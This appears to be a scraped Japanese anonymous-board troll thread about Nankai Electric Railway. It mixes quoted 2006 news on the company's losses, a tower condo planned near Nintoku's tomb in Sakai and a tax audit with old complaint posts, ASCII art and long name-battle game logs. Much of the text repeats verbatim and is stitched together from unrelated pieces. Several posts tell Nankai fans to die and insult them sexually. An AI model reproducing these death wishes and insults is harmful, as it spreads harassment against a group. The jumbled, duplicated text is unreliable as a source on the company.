少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。
もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、
希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、
難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた
連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。
前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も
以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。
南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、
国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、
地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は
数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。
四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。
希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、
難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた
連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。
前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も
以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。
南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、
国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、
地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は
数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。
四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。
ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、
計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、
マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、
建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が
持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、
市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。
堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、
再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。
しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。
世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。
それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、
超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、
呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞ しかしこの計画地、反正陵からわずか１２０メートル。
計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、
マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、
建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が
持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、
市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。
堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、
再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。
しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。
世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。
それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、
超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、
呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞ しかしこの計画地、反正陵からわずか１２０メートル。
完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。
地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉
「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」
吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉
「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml
現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、情けない赤字南海おらあああ！！モギャ！∧＿∧
―＝≡三∧＿∧＼从从//／（´∀｀ ）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣￣⌒)＞д(;;;((⌒￣￣￣＿ ）三≡＝――＝≡三
//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_ ,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海現在の会社の経営状況があまりにもひどすぎるので、
せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーする、情けない赤字南海&南海ヲタ
地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉
「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」
吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉
「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml
現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、情けない赤字南海おらあああ！！モギャ！∧＿∧
―＝≡三∧＿∧＼从从//／（´∀｀ ）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣￣⌒)＞д(;;;((⌒￣￣￣＿ ）三≡＝――＝≡三
//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_ ,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海現在の会社の経営状況があまりにもひどすぎるので、
せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーする、情けない赤字南海&南海ヲタ
323 ：名無しでGO!：2006/06/23(金) 23:37:25 ID:V5TKoMLE0
前スレ907：南海の運賃は高杉：2006/06/20(火)20:58:21ID:ZYqbamLcJR和歌山〜橋本
820円南海和歌山市〜橋本1140円「でも時間帯によっては南海が速い」を補足ｗ
◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日
南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が
２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が
大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した
約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。
しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして
重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、
経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。
ttp://news.goo.ne.jp/news/topics/index/02122/1.html負け組南海w日本が負けたのは赤字南海&南海ヲタのせい
820円南海和歌山市〜橋本1140円「でも時間帯によっては南海が速い」を補足ｗ
◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日
南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が
２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が
大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した
約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。
しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして
重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、
経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。
ttp://news.goo.ne.jp/news/topics/index/02122/1.html負け組南海w日本が負けたのは赤字南海&南海ヲタのせい
お前らみたいなキモ南海ヲタが負のオーラを出してしまったそれで日本は負けた赤字南海は責任取れ赤字南海ｵﾜﾀ＼(^O^)／
赤字南海&南海ヲタは全責任を取って死になさいね。氏ねや市ねじゃなくて死ね。死んで下さい。南海はボロい南海はボロい
146地下の名無しさん2004/05/24(Mon) 00:06>145PCでも複数のプロバイダと契約しているみたいよ。以前にIP強制表示の
某BBSで偉大なる自作自演をやらかしてた前科もある訳で。あと南海スレで何の脈絡もなく阪急ネタを出す輩＝「南海はボロい」
カキコ厨も上新庄率高し（藁--------------------------------------------------------------------------------
147地下の名無しさん2004/05/24(Mon)00:27>146上新庄を観察していると朝晩と日中とでＩＤが違うことに気付くと思います。
香具師は日中はインターネットまんが喫茶にでも逝っているのでしょう。とはいえ契約しているプロパイダが一つだとも
思っていませんが。＞あと南海スレで何の脈絡もなく阪急ネタを出す輩＝「南海はボロい」カキコ厨も上新庄率高し（藁
上新庄らしい行動ですね。確かに確立が高い（ｗ自分の貶したい阪急ｦﾀを装って南海スレを荒らすとはいつものことながら
卑劣な行動としか言いようがない。245名前：名無しでGO!投稿日：2000/12/21(木)21:31和歌山方面逝きはオール１０３系で
十分じゃないか！どうせ客層最悪のボロ南海には勝てるのだから！48名前：名無しでGO!投稿日：2000/11/30(木)04:48＞４７
逃げ先の南海も悲惨だから大丈夫結局逃げられていないし50名前：名無しでGO!投稿日：2000/11/30(木)05:33>48
どっちかというと南海から阪和へ客が流れてるぞ不便な南海の客にしてみりゃ今の阪和が魅力的らしい
850名前：名無しでGO！投稿日：2001/02/18(日)21:11>848南海は自滅の道をまっしぐら。阪和線は労せずに
ライバル路線の客を取り込める。酉にとっては対私鉄不戦勝の路線。
赤字南海&南海ヲタは全責任を取って死になさいね。氏ねや市ねじゃなくて死ね。死んで下さい。南海はボロい南海はボロい
146地下の名無しさん2004/05/24(Mon) 00:06>145PCでも複数のプロバイダと契約しているみたいよ。以前にIP強制表示の
某BBSで偉大なる自作自演をやらかしてた前科もある訳で。あと南海スレで何の脈絡もなく阪急ネタを出す輩＝「南海はボロい」
カキコ厨も上新庄率高し（藁--------------------------------------------------------------------------------
147地下の名無しさん2004/05/24(Mon)00:27>146上新庄を観察していると朝晩と日中とでＩＤが違うことに気付くと思います。
香具師は日中はインターネットまんが喫茶にでも逝っているのでしょう。とはいえ契約しているプロパイダが一つだとも
思っていませんが。＞あと南海スレで何の脈絡もなく阪急ネタを出す輩＝「南海はボロい」カキコ厨も上新庄率高し（藁
上新庄らしい行動ですね。確かに確立が高い（ｗ自分の貶したい阪急ｦﾀを装って南海スレを荒らすとはいつものことながら
卑劣な行動としか言いようがない。245名前：名無しでGO!投稿日：2000/12/21(木)21:31和歌山方面逝きはオール１０３系で
十分じゃないか！どうせ客層最悪のボロ南海には勝てるのだから！48名前：名無しでGO!投稿日：2000/11/30(木)04:48＞４７
逃げ先の南海も悲惨だから大丈夫結局逃げられていないし50名前：名無しでGO!投稿日：2000/11/30(木)05:33>48
どっちかというと南海から阪和へ客が流れてるぞ不便な南海の客にしてみりゃ今の阪和が魅力的らしい
850名前：名無しでGO！投稿日：2001/02/18(日)21:11>848南海は自滅の道をまっしぐら。阪和線は労せずに
ライバル路線の客を取り込める。酉にとっては対私鉄不戦勝の路線。
赤字南海永遠におやすみ
210名前：名無しでGO!投稿日：2000/12/28(木)14:50南海は乗務員がなってない。
昨日は運転士が運転中に窓からタンを吐き出してた。おいおい、土手下の道路の通行人にあたったらどうする？？
車掌もやる気なし君多い。止まらないうちにドア開けるな！！沿線住民であることが恥ずかしい。阪急萌エ〜！！
53名前：名無しでGO!投稿日：01/09/2121:32ID:Q7PvSMYA今日、橋本あたりまで一番端の椅子にすわってる、
ズラっぽいおっさんがいた。てっきり客とおもって、おっさんの後ろのカーテンをはずしながら、
カーテンあけていいですか、といった。景色をみたいからって。そしたら、睨まれた。そのままカーテンあけて、
迎えにすわった。すると、おっさんは、「そっちの窓の方が景色がみえるでしょ。こっちは、あまり見えないでしょ。」
といった。そういわれてみればそうだけど、まっすぐ顔むけてる方の窓の景色が見たかったわけ。
そのあと、おっさんは、アホ茶羽化みたいな顔して、首をかしげながら、あきれた顔して、本を読みつづけた。
本のタイトルは、忍びの旗だったかな。編な本。気難しい嫌なおっさんだった。ふとみると、南海電鉄の社員だった。
帽子が横においてあった。なんだよ。客にむかって、このおっさん、そんな態度かよ。あきれてしまった。
首が痛いのに、後ろむいてすわり続けた。でも、客がカーテンあけていいか、っていったくらいで、睨まれて文句いわれて。
あんな社員あっか！！！こっちは、遠慮して気つかってさ。どういう社員教育してんの？
59名前：名無しでＧＯ！ＧＯ！投稿日：01/09/2123:29ID:Nv6C450E>53南海の社員は本線、高野線問わず、
博打好きのアホ以下ばっかりだ。マニアを駅に入りびたせてお客そっちのけで遊んでいるバカな若い社員がほとんど。
あなたの遭遇した社員はごく平均的な南海社員です。ちなみに高野線の乗務員の鉄道マニアのグループ
「高野線クラブ」はヲタの集まりだ。387名前：名無しでGO!投稿日：02/02/2701:43ID:re6cl0V3運賃は高い、
速度は遅い、駅員は態度悪い難波で待とうがボロい車しか来ない倒産危険度は京福と大差ありませんbyﾀﾞｲﾔﾓｿﾄﾞ
あきらめましょうや。挑発age
昨日は運転士が運転中に窓からタンを吐き出してた。おいおい、土手下の道路の通行人にあたったらどうする？？
車掌もやる気なし君多い。止まらないうちにドア開けるな！！沿線住民であることが恥ずかしい。阪急萌エ〜！！
53名前：名無しでGO!投稿日：01/09/2121:32ID:Q7PvSMYA今日、橋本あたりまで一番端の椅子にすわってる、
ズラっぽいおっさんがいた。てっきり客とおもって、おっさんの後ろのカーテンをはずしながら、
カーテンあけていいですか、といった。景色をみたいからって。そしたら、睨まれた。そのままカーテンあけて、
迎えにすわった。すると、おっさんは、「そっちの窓の方が景色がみえるでしょ。こっちは、あまり見えないでしょ。」
といった。そういわれてみればそうだけど、まっすぐ顔むけてる方の窓の景色が見たかったわけ。
そのあと、おっさんは、アホ茶羽化みたいな顔して、首をかしげながら、あきれた顔して、本を読みつづけた。
本のタイトルは、忍びの旗だったかな。編な本。気難しい嫌なおっさんだった。ふとみると、南海電鉄の社員だった。
帽子が横においてあった。なんだよ。客にむかって、このおっさん、そんな態度かよ。あきれてしまった。
首が痛いのに、後ろむいてすわり続けた。でも、客がカーテンあけていいか、っていったくらいで、睨まれて文句いわれて。
あんな社員あっか！！！こっちは、遠慮して気つかってさ。どういう社員教育してんの？
59名前：名無しでＧＯ！ＧＯ！投稿日：01/09/2123:29ID:Nv6C450E>53南海の社員は本線、高野線問わず、
博打好きのアホ以下ばっかりだ。マニアを駅に入りびたせてお客そっちのけで遊んでいるバカな若い社員がほとんど。
あなたの遭遇した社員はごく平均的な南海社員です。ちなみに高野線の乗務員の鉄道マニアのグループ
「高野線クラブ」はヲタの集まりだ。387名前：名無しでGO!投稿日：02/02/2701:43ID:re6cl0V3運賃は高い、
速度は遅い、駅員は態度悪い難波で待とうがボロい車しか来ない倒産危険度は京福と大差ありませんbyﾀﾞｲﾔﾓｿﾄﾞ
あきらめましょうや。挑発age
新車より早く黒字してくれ。阪急に吸収合併を激しくきぼんぬ。今の赤字南海にはもう耐えられません。
赤字南海は、早く倒産してくれうるさすぎる・汚い赤字南海オタキモイったい、死ね。
赤字南海は地下鉄との接続がないから使えない。他の私鉄は全て地下鉄と繋がってんのに赤字南海は不便だよな〜。
赤字南海は、早く倒産してくれうるさすぎる・汚い赤字南海オタキモイったい、死ね。
赤字南海は地下鉄との接続がないから使えない。他の私鉄は全て地下鉄と繋がってんのに赤字南海は不便だよな〜。
[大赤字南海]攻撃:27素早さ:37防御:43命中:78運:44HP:240[大黒字南海]攻撃:20素早さ:22防御:65命中:44運:42HP:125
大赤字南海vs大黒字南海 戦闘開始！！[大赤字南海]の攻撃HIT[大黒字南海]は1のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は1のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は34のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は38のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は1のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は2のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は43のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は1のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は1のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は2のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は31のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は35のダメージを受けた。
[大赤字南海]が[大黒字南海]を倒しました(ラウンド数：10)。[南海]攻撃:41素早さ:76防御:58命中:22運:48HP:135
[阪急]攻撃:75素早さ:55防御:71命中:22運:78HP:280南海vs阪急戦闘開始！！
[南海]の攻撃MISS[阪急]は攻撃を回避した。[阪急]の攻撃HIT[南海]は92のダメージを受けた。
[南海]の攻撃HIT[阪急]は1のダメージを受けた。[阪急]の攻撃HIT[南海]は78のダメージを受けた。
[阪急]が[南海]を倒しました(ラウンド数：2)。
大赤字南海vs大黒字南海 戦闘開始！！[大赤字南海]の攻撃HIT[大黒字南海]は1のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は1のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は34のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は38のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は1のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は2のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は43のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は1のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は1のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は2のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は31のダメージを受けた。
[大黒字南海]の攻撃HIT[大赤字南海]は1のダメージを受けた。[大赤字南海]の攻撃HIT[大黒字南海]は35のダメージを受けた。
[大赤字南海]が[大黒字南海]を倒しました(ラウンド数：10)。[南海]攻撃:41素早さ:76防御:58命中:22運:48HP:135
[阪急]攻撃:75素早さ:55防御:71命中:22運:78HP:280南海vs阪急戦闘開始！！
[南海]の攻撃MISS[阪急]は攻撃を回避した。[阪急]の攻撃HIT[南海]は92のダメージを受けた。
[南海]の攻撃HIT[阪急]は1のダメージを受けた。[阪急]の攻撃HIT[南海]は78のダメージを受けた。
[阪急]が[南海]を倒しました(ラウンド数：2)。
なにわ筋線って知ってる？
[珍作]攻撃:71素早さ:93防御:22命中:57運:23HP:262[赤字南海オタ]攻撃:14素早さ:91防御:20命中:54運:47HP:295
珍作vs赤字南海オタ 戦闘開始！！[珍作]の攻撃HIT[赤字南海オタ]は131のダメージを受けた。
[赤字南海オタ]の攻撃MISS[珍作]は攻撃を回避した。[珍作]の攻撃HIT[赤字南海オタ]は59のダメージを受けた。
[赤字南海オタ]の攻撃HIT[珍作]は1のダメージを受けた。[珍作]の攻撃HIT[赤字南海オタ]は89のダメージを受けた。
[赤字南海オタ]の攻撃HIT[珍作]は29のダメージを受けた。[珍作]の攻撃HIT[赤字南海オタ]は46のダメージを受けた。
[珍作]が[赤字南海オタ]を倒しました(ラウンド数：4)。
珍作vs赤字南海オタ 戦闘開始！！[珍作]の攻撃HIT[赤字南海オタ]は131のダメージを受けた。
[赤字南海オタ]の攻撃MISS[珍作]は攻撃を回避した。[珍作]の攻撃HIT[赤字南海オタ]は59のダメージを受けた。
[赤字南海オタ]の攻撃HIT[珍作]は1のダメージを受けた。[珍作]の攻撃HIT[赤字南海オタ]は89のダメージを受けた。
[赤字南海オタ]の攻撃HIT[珍作]は29のダメージを受けた。[珍作]の攻撃HIT[赤字南海オタ]は46のダメージを受けた。
[珍作]が[赤字南海オタ]を倒しました(ラウンド数：4)。
[南海利用者は負け組]攻撃:72素早さ:38防御:83命中:78運:72HP:226[南海利用者は勝ち組]攻撃:82素早さ:48防御:29命中:20運:33HP:189
南海利用者は負け組vs南海利用者は勝ち組 戦闘開始！！[南海利用者は勝ち組]の攻撃HIT[南海利用者は負け組]は60のダメージを受けた。
[南海利用者は負け組]の攻撃HIT[南海利用者は勝ち組]は93のダメージを受けた。[南海利用者は勝ち組]の攻撃MISS[南海利用者は負け組]は攻撃を回避した。
[南海利用者は負け組]の攻撃HIT[南海利用者は勝ち組]は137のダメージを受けた。[南海利用者は負け組]が[南海利用者は勝ち組]を倒しました(ラウンド数：2)。
[南海ボロ]攻撃:10素早さ:65防御:100命中:33運:93HP:185[南海新車]攻撃:48素早さ:23防御:50命中:26運:71HP:143
南海ボロvs南海新車戦闘開始！！[南海ボロ]の攻撃HIT[南海新車]は1のダメージを受けた。
[南海新車]の攻撃HIT[南海ボロ]は1のダメージを受けた。[南海ボロ]の攻撃HIT[南海新車]は65のダメージを受けた。[南海新車]の攻撃MISS[南海ボロ]は攻撃を回避した。
[南海ボロ]の攻撃HIT[南海新車]は1のダメージを受けた。[南海新車]の攻撃MISS[南海ボロ]は攻撃を回避した。[南海ボロ]の攻撃HIT[南海新車]は43のダメージを受けた。
[南海新車]の攻撃HIT[南海ボロ]は1のダメージを受けた。[南海ボロ]の攻撃HIT[南海新車]は4のダメージを受けた。[南海新車]の攻撃MISS[南海ボロ]は攻撃を回避した。
[南海ボロ]の攻撃HIT[南海新車]は30のダメージを受けた。[南海ボロ]が[南海新車]を倒しました(ラウンド数：6)。 [南海は運賃高い]攻撃:92素早さ:37防御:92命中:12運:18HP:285
南海利用者は負け組vs南海利用者は勝ち組 戦闘開始！！[南海利用者は勝ち組]の攻撃HIT[南海利用者は負け組]は60のダメージを受けた。
[南海利用者は負け組]の攻撃HIT[南海利用者は勝ち組]は93のダメージを受けた。[南海利用者は勝ち組]の攻撃MISS[南海利用者は負け組]は攻撃を回避した。
[南海利用者は負け組]の攻撃HIT[南海利用者は勝ち組]は137のダメージを受けた。[南海利用者は負け組]が[南海利用者は勝ち組]を倒しました(ラウンド数：2)。
[南海ボロ]攻撃:10素早さ:65防御:100命中:33運:93HP:185[南海新車]攻撃:48素早さ:23防御:50命中:26運:71HP:143
南海ボロvs南海新車戦闘開始！！[南海ボロ]の攻撃HIT[南海新車]は1のダメージを受けた。
[南海新車]の攻撃HIT[南海ボロ]は1のダメージを受けた。[南海ボロ]の攻撃HIT[南海新車]は65のダメージを受けた。[南海新車]の攻撃MISS[南海ボロ]は攻撃を回避した。
[南海ボロ]の攻撃HIT[南海新車]は1のダメージを受けた。[南海新車]の攻撃MISS[南海ボロ]は攻撃を回避した。[南海ボロ]の攻撃HIT[南海新車]は43のダメージを受けた。
[南海新車]の攻撃HIT[南海ボロ]は1のダメージを受けた。[南海ボロ]の攻撃HIT[南海新車]は4のダメージを受けた。[南海新車]の攻撃MISS[南海ボロ]は攻撃を回避した。
[南海ボロ]の攻撃HIT[南海新車]は30のダメージを受けた。[南海ボロ]が[南海新車]を倒しました(ラウンド数：6)。 [南海は運賃高い]攻撃:92素早さ:37防御:92命中:12運:18HP:285
[南海は運賃安い]攻撃:95素早さ:23防御:62命中:28運:78HP:230南海は運賃高いvs南海は運賃安い 戦闘開始！！
[南海は運賃高い]の攻撃HIT[南海は運賃安い]は90のダメージを受けた。[南海は運賃安い]の攻撃HIT[南海は運賃高い]は82のダメージを受けた。
[南海は運賃高い]の攻撃HIT[南海は運賃安い]は109のダメージを受けた。[南海は運賃安い]の攻撃HIT[南海は運賃高い]は36のダメージを受けた。
[南海は運賃高い]の攻撃MISS[南海は運賃安い]は攻撃を回避した。[南海は運賃安い]の攻撃HIT[南海は運賃高い]は33のダメージを受けた。
[南海は運賃高い]の攻撃MISS[南海は運賃安い]は攻撃を回避した。[南海は運賃安い]の攻撃HIT[南海は運賃高い]は98のダメージを受けた。
[南海は運賃高い]の攻撃HIT[南海は運賃安い]は107のダメージを受けた。[南海は運賃高い]が[南海は運賃安い]を倒しました(ラウンド数：5)。
